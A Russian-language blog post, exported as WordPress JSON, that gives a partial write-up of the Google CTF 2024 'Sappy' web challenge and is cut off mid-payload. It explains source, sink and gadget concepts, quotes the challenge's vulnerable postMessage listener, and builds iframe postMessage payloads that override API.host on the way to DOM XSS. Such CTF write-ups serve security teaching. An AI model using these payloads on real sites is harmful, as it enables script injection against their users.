{"id":379564,"date":"2024-06-24T21:00:51","date_gmt":"2024-06-24T21:00:51","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=379564"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=379564","title":{"rendered":"<span>XSS \u0432 Sappy (\u0447\u0430\u0441\u0442\u0438\u0447\u043d\u044b\u0439 writeup)<\/span>"},"content":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<h3>\u0412\u0432\u0435\u0434\u0435\u043d\u0438\u0435<\/h3>\n<p>\u041d\u0435\u0434\u0430\u0432\u043d\u043e \u043f\u0440\u043e\u0448\u0435\u043b Google CTF, \u043f\u043e\u0441\u043b\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0431\u044b\u043b\u0438 \u0432\u044b\u043b\u043e\u0436\u0435\u043d\u044b \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0435 \u043a\u043e\u0434\u044b \u0438 exploit&#8217;\u044b \u043a \u0437\u0430\u0434\u0430\u043d\u0438\u044f\u043c.<\/p>\n<p>\u0412 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u044f \u0445\u043e\u0442\u0435\u043b \u0431\u044b \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c web task \u0441 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u0433\u043e Google CTF, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f &#171;Sappy&#187;.<\/p>\n<figure class=\"bordered full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/fe1\/6f5\/1ec\/fe16f51ec1735261553fa67815dc4070.png\" width=\"1368\" height=\"1174\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/fe1\/6f5\/1ec\/fe16f51ec1735261553fa67815dc4070.png\"\/><\/figure>\n<p>\u041d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d\u0438\u044f, \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0430 \u0432\u044b\u0434\u0430\u0432\u0430\u043b\u0441\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0439 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 \u0437\u0430\u0434\u0430\u0447\u0438.<\/p>\n<p>\u041d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u043f\u043e\u043b\u043d\u044b\u0439 <a href=\"https:\/\/github.com\/google\/google-ctf\/tree\/main\/2024\/quals\/web-sappy\" rel=\"noopener noreferrer nofollow\">\u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 \u043f\u0440\u043e\u0435\u043a\u0442\u0430<\/a> \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0432 GitHub \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438. \u0421\u0435\u0439\u0447\u0430\u0441 \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u0431\u044b\u043b\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044f <a href=\"https:\/\/github.com\/google\/google-ctf\/tree\/main\/2024\/quals\/web-sappy\/challenge\" rel=\"noopener noreferrer nofollow\">challenge<\/a>.<\/p>\n<h4>\u0410\u043d\u0430\u043b\u0438\u0437 \u043a\u043e\u0434\u0430<\/h4>\n<p>\u041f\u0440\u0435\u0436\u0434\u0435, \u0447\u0435\u043c \u043d\u0430\u0447\u0430\u0442\u044c, \u0432\u0432\u0435\u0434\u0435\u043c \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f.<\/p>\n<p><a href=\"https:\/\/habr.com\/ru\/companies\/jetinfosystems\/articles\/821451\/\" rel=\"noopener noreferrer nofollow\">\u041e\u0441\u0432\u0430\u0438\u0432\u0430\u0435\u043c DOM Invader: \u0438\u0449\u0435\u043c DOM XSS \u0438 Prototype Pollution \u043d\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u0435 \u043f\u044f\u0442\u0438 \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u043d\u044b\u0445 \u0438 \u043e\u0434\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0430 \u0425\u0430\u0431\u0440\u0435<\/a><\/p>\n<blockquote>\n<p><strong>Source<\/strong><br \/> \u0421\u0432\u043e\u0439\u0441\u0442\u0432\u043e JavaScript, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0435, \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c. \u041f\u0440\u0438\u043c\u0435\u0440 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u2014 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e location.search, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u043d\u043e \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u0442 \u0432\u0432\u043e\u0434 \u0438\u0437 \u0441\u0442\u0440\u043e\u043a\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0430, \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c. \u0412 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435 \u043b\u044e\u0431\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e, \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043c\u043e\u0436\u0435\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c Source. \u041a \u044d\u0442\u043e\u043c\u0443 \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f URL-\u0430\u0434\u0440\u0435\u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 (document.referrer), Cookie \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f (document.cookie) \u0438 WebMessages (\u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u043f\u0440\u043e WebMessages \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043e\u00a0<a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/API\/Window\/postMessage\" rel=\"noopener noreferrer nofollow\">\u0437\u0434\u0435\u0441\u044c<\/a>).<\/p>\n<p><strong>Sink<\/strong><br \/> \u041f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u043f\u0430\u0441\u043d\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f JavaScript \u0438\u043b\u0438 \u043e\u0431\u044a\u0435\u043a\u0442 DOM, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0435\u0441\u043b\u0438 \u0432 \u043d\u0438\u0445 \u043f\u0435\u0440\u0435\u0434\u0430\u044e\u0442\u0441\u044f \u0434\u0430\u043d\u043d\u044b\u0435, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0444\u0443\u043d\u043a\u0446\u0438\u044f eval() \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f Sink&#8217;\u043e\u043c, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u043d\u0430 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432 \u043d\u0435\u0433\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f, \u043a\u0430\u043a JavaScript. \u041f\u0440\u0438\u043c\u0435\u0440\u043e\u043c HTML-Sink \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f document.body.innerHTML, \u0442\u0430\u043a \u043a\u0430\u043a \u044d\u0442\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c HTML \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 JavaScript.<\/p>\n<p><strong>Gadget<\/strong><br \/> \u041d\u0435\u0431\u043e\u043b\u044c\u0448\u0438\u0435 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u044b \u043a\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u00ab\u0413\u0430\u0434\u0436\u0435\u0442\u044b\u00bb \u0447\u0430\u0441\u0442\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442\u0441\u044f \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0430\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0438\u0436\u0435\u043d\u0438\u044f \u0431\u043e\u043b\u0435\u0435 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0438\u043c\u043f\u0430\u043a\u0442\u0430. \u0415\u0449\u0435 \u0438\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0437\u0430\u0449\u0438\u0442\u043d\u044b\u0445 \u043c\u0435\u0440, \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0438\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.<\/p>\n<\/blockquote>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0437\u043d\u0430\u043a\u043e\u043c\u0441\u0442\u0432\u0430 \u0441 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u043d\u0430\u0441 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u043b \u0437\u0430\u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043e\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b <code>sap.html<\/code>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0434\u0442\u044f\u0433\u0438\u0432\u0430\u0435\u0442 \u0444\u0430\u0439\u043b <code>sap.js<\/code>.<\/p>\n<p>\u041f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 sink \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u0434\u0430\u043d\u043d\u043e\u043c \u0443\u0447\u0430\u0441\u0442\u043a\u0435 \u043a\u043e\u0434\u0430:<\/p>\n<pre><code class=\"javascript\">window.addEventListener( \"message\", async (event) => { let data = event.data; if (typeof data !== \"string\") return; data = JSON.parse(data); const method = data.method; switch (method) { case \"initialize\": { if (!data.host) return; API.host = data.host; break; } case \"render\": { if (typeof data.page !== \"string\") return; const url = buildUrl({ host: API.host, page: data.page, }); const resp = await fetch(url); if (resp.status !== 200) { console.error(\"something went wrong\"); return; } const json = await resp.json(); if (typeof json.html === \"string\") { output.innerHTML = json.html; } break; } } }, false ); <\/code><\/pre>\n<p>Sink:<\/p>\n<pre><code class=\"javascript\">output.innerHTML = json.html;<\/code><\/pre>\n<p>\u0426\u0435\u043f\u043e\u0447\u043a\u0430 \u0433\u0430\u0434\u0436\u0435\u0442\u043e\u0432:<\/p>\n<ul>\n<li>\n<p>\u041f\u0435\u0440\u0435\u0434\u0430\u0447\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 event listener<\/p>\n<\/li>\n<li>\n<p>\u041f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 <code>API.host<\/code><\/p>\n<\/li>\n<li>\n<p>\u0424\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 <code>url<\/code> \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c <code>API.host<\/code> \u0438 <code>data.page<\/code><\/p>\n<\/li>\n<li>\n<p>AJAX \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 <code>url<\/code> \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c <code>fetch()<\/code><\/p>\n<\/li>\n<li>\n<p>\u041e\u0442\u0432\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 json \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043a\u043b\u044e\u0447 <code>html<\/code>, \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 sink<\/p>\n<\/li>\n<\/ul>\n<h3>\u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430 exploit&#8217;\u0430<\/h3>\n<h4>\u041f\u0435\u0440\u0435\u0434\u0430\u0447\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 event listener<\/h4>\n<p>\u0427\u0442\u043e\u0431\u044b \u043f\u0440\u043e\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0439 \u0443\u0447\u0430\u0441\u0442\u043e\u043a \u043a\u043e\u0434\u0430, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043a\u0430\u043a-\u0442\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u0432 \u043d\u0435\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 (source). \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043c\u0435\u0442\u043e\u0434 <code>addEventListener()<\/code><\/p>\n<p><a href=\"https:\/\/developer.mozilla.org\/ru\/docs\/Web\/API\/EventTarget\/addEventListener\" rel=\"noopener noreferrer nofollow\">MDN<\/a>:<\/p>\n<blockquote>\n<p>\u041c\u0435\u0442\u043e\u0434\u00a0<code>EventTarget.addEventListener()<\/code>\u00a0\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0441\u043e\u0431\u044b\u0442\u0438\u044f, \u0432\u044b\u0437\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043d\u0430\u00a0<code>EventTarget<\/code>.<\/p>\n<p><code>EventTarget<\/code>\u00a0\u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c\u00a0<code>Element<\/code>,\u00a0<code>Document<\/code>,\u00a0<code>Window<\/code>, \u0438\u043b\u0438 \u043b\u044e\u0431\u044b\u043c \u0434\u0440\u0443\u0433\u0438\u043c \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u043c, \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0449\u0438\u043c \u0441\u043e\u0431\u044b\u0442\u0438\u044f (\u0442\u0430\u043a\u0438\u043c \u043a\u0430\u043a\u00a0<code>XMLHttpRequest<\/code>).<\/p>\n<p><strong>\u0421\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441<\/strong><\/p>\n<p><code>target.addEventListener(type, listener[, options]); ... <\/code> <\/p>\n<p><code>type<\/code><br \/> \u0427\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u043a \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0443 \u0441\u0442\u0440\u043e\u043a\u0430, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0430\u044f\u00a0<a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/API\/Event\/type\" rel=\"noopener noreferrer nofollow\">\u0442\u0438\u043f \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u043c\u043e\u0433\u043e \u0441\u043e\u0431\u044b\u0442\u0438\u044f<\/a>.<\/p>\n<p><code>listener<\/code><br \/> \u041e\u0431\u044a\u0435\u043a\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435, \u043a\u043e\u0433\u0434\u0430 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0438\u043f\u0430 \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u043e. \u042d\u0442\u043e \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u043a\u0442, \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u044e\u0449\u0438\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u00a0<code>EventListener<\/code>\u00a0\u0438\u043b\u0438 \u043f\u0440\u043e\u0441\u0442\u043e\u00a0<a href=\"https:\/\/developer.mozilla.org\/ru\/docs\/Web\/JavaScript\/Guide\/Functions\" rel=\"noopener noreferrer nofollow\">\u0444\u0443\u043d\u043a\u0446\u0438\u044f JavaScript<\/a>.<\/p>\n<\/blockquote>\n<p><a href=\"https:\/\/portswigger.net\/web-security\/dom-based\/controlling-the-web-message-source\" rel=\"noopener noreferrer nofollow\">Controlling the web message source<\/a>(\u0434\u043e\u0441\u043b\u043e\u0432\u043d\u044b\u0439 \u043f\u0435\u0440\u0435\u0432\u043e\u0434)<\/p>\n<blockquote>\n<p>\u0415\u0441\u043b\u0438 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u0432\u0435\u0431-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044f \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e <code>origin<\/code> \u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u0432 event listener, \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u043c\u044b\u0435 event listener&#8217;\u043e\u043c, \u043c\u043e\u0433\u0443\u0442 \u0441\u0442\u0430\u0442\u044c sink&#8217;\u0430\u043c\u0438. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 <code>iframe<\/code> \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043c\u0435\u0442\u043e\u0434 <code>postMessage()<\/code> \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432\u0435\u0431-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c\u0443 event listener, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0442\u0435\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u0435\u0437\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0432 sink \u043d\u0430 \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435. \u0422\u0430\u043a\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0432\u0435\u0431-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 source \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u043b\u044e\u0431\u043e\u0439 \u0438\u0437 \u044d\u0442\u0438\u0445 sink&#8217;\u043e\u0432.<\/p>\n<\/blockquote>\n<p>\u0422.\u0435. \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043c\u0435\u0442\u043e\u0434\u0430 <code>postMessage()<\/code> \u0432 \u043d\u0430\u0448\u0435\u043c exploit&#8217;\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u0439:<\/p>\n<ul>\n<li>\n<p>\u041d\u0430\u043b\u0438\u0447\u0438\u0435 event listener&#8217;\u0430 \u0442\u0438\u043f\u0430 &#171;message&#187; \u043d\u0430 \u0430\u0442\u0430\u043a\u0443\u0435\u043c\u043e\u043c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438<\/p>\n<pre><code class=\"javascript\">addEventListener(\"message\", ...)<\/code><\/pre>\n<\/li>\n<li>\n<p>\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 event&#8217;\u0430<\/p>\n<pre><code class=\"javascript\">addEventListener(\"message\", funciton(event) { eval(event.data); })<\/code><\/pre>\n<\/li>\n<li>\n<p>\u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0437\u0430\u0449\u0438\u0442\u043d\u044b\u0445 \u043c\u0435\u0440 \u043e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f iframe&#8217;\u043e\u0432<\/p>\n<ul>\n<li>\n<p>\u0437\u0430\u0433\u043e\u043b\u0432\u043e\u043a <code>X-Frame-Options: DENY<\/code><\/p>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>\u0422\u043e\u0433\u0434\u0430 \u043d\u0430\u0448 exploit \u043d\u0430 \u0434\u0430\u043d\u043d\u043e\u043c \u044d\u0442\u0430\u043f\u0435 (\u0433\u0430\u0434\u0436\u0435\u0442\u0435) \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a:<\/p>\n<pre><code class=\"xml\">&lt;iframe src=\"https:\/\/sappy-web.2024.ctfcompetition.com\/sap.html\" onload=\"this.contentWindow.postMessage('print()','*')\"><\/code><\/pre>\n<h4>\u041f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 API.host<\/h4>\n<pre><code class=\"javascript\">async (event) => { let data = event.data; if (typeof data !== \"string\") return; data = JSON.parse(data); const method = data.method; switch (method) { case \"initialize\": { if (!data.host) return;   API.host = data.host;   break; }<\/code><\/pre>\n<p>\u0427\u0442\u043e\u0431\u044b \u043f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c <code>API.host<\/code>, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e, \u0447\u0442\u043e\u0431\u044b source \u0431\u044b\u043b \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 JSON \u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b \u043a\u043b\u044e\u0447\u0438 <code>method<\/code> \u0441\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c <code>\"initialize\"<\/code> \u0438 <code>host<\/code> \u0441 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c:<\/p>\n<p>\u0422\u043e\u0433\u0434\u0430 exploit \u043d\u0430 \u0434\u0430\u043d\u043d\u043e\u043c \u044d\u0442\u0430\u043f\u0435 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:<\/p>\n<pre><code class=\"xml\">&lt;iframe src=\"https:\/\/sappy-web.2024.ctfcompetition.com\/sap.html\" 